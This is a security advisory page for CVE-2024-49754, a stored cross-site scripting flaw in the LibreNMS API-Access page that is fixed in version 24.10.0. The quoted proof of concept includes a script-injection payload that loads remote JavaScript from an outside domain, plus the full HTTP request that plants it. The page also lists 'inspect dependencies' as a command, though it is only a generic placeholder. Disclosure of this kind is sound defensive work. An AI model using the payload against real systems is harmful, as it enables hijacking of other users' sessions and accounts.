CVE-2024-49754: Librenms/librenms Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-gfwr-xqmj-j27v
CVSS 7.5
CWE-79
Published
Advisory Summary

CVE-2024-49754 is a HIGH (CVSS 7.5) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Librenms/librenms libraries in the Packagist ecosystem. The issue involves librenms has a stored xss ('cross-site scripting') in librenms/includes/html/pages/api-access.inc.php. Remediation is available by upgrading affected packages to version 24.10.0.

CVE-2024-49754 at a Glance

CVE Identifier CVE-2024-49754
GHSA Identifier GHSA-gfwr-xqmj-j27v
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Librenms/librenms
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2024-49754

To remediate this vulnerability, upgrade all affected Librenms/librenms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

librenms/librenms fixed: 24.10.0
Upgrade librenms/librenms to 24.10.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for librenms/librenms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-49754, inspect your project dependencies for Librenms/librenms:

inspect dependencies for librenms/librenms

Analyze the terminal output to locate any version of Librenms/librenms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 24.10.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Librenms/librenms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the API-Access page allows authenticated users to inject arbitrary JavaScript through the "token" parameter when creating a new API token. This vulnerability can result in the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions. ### Details The vulnerability occurs when creating a new API Token. An attacker can inject arbitrary JavaScript into the "token" parameter, which is then executed when the API Access page is visited. The payload is triggered twice—once in the "Token Hash" column and once in the "QR Code" column. The payload used to exploit this vulnerability is: `'"><script/src=//15.rs></script>` Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code. The vulnerability is due to insufficient sanitization of the "token_hash" variable before it is output in the HTML. This is evident in the following lines of code: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L152 https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L153 ### PoC 1. Create a new API token with the following payload in the "token" parameter: `'"><script/src=//15.rs></script>` 2. Save the token. 3. Navigate to the API Access page. 4. Observe that the injected script executes twice, once in the "Token Hash" column and once in the "QR Code" column. ```http POST /ajax_form.php HTTP/1.1 Host: <your_host> Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-CSRF-TOKEN: <your_token> X-Requested-With: XMLHttpRequest Cookie: <your_cookie> _token=<your_token>&user_id=1&token='"><script/src=//15.rs></script>&description=t'"><script/src=//15.rs>&type=token-item-create ``` ### Impact The vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. This can lead to account compromise and enable unauthorized actions on behalf of the impacted users.

CVE-2024-49754 Affected Librenms/librenms Versions

1 component(s)
Fixed Versions:
24.10.0
Product / Package Ecosystem Affected Versions Fixed Version
librenms/librenms
Packagist
< 24.10.0
24.10.0

References

Frequently Asked Questions

What is CVE-2024-49754?
CVE-2024-49754 is a security vulnerability in Librenms/librenms involving LibreNMS has a stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/api-access.inc.php under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Librenms/librenms versions are affected?
Affected versions include releases prior to 24.10.0 across affected packages: librenms/librenms.
What version fixes CVE-2024-49754?
Upgrading to 24.10.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is librenms/librenms affected?
Yes, librenms/librenms is affected in releases prior to 24.10.0. Upgrade your dependency to 24.10.0 or later.
What is the CVSS score of CVE-2024-49754?
CVE-2024-49754 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L.
What CWE is associated with CVE-2024-49754?
CVE-2024-49754 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2024-49754?
Run the dependency tree command: 'inspect dependencies for librenms/librenms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
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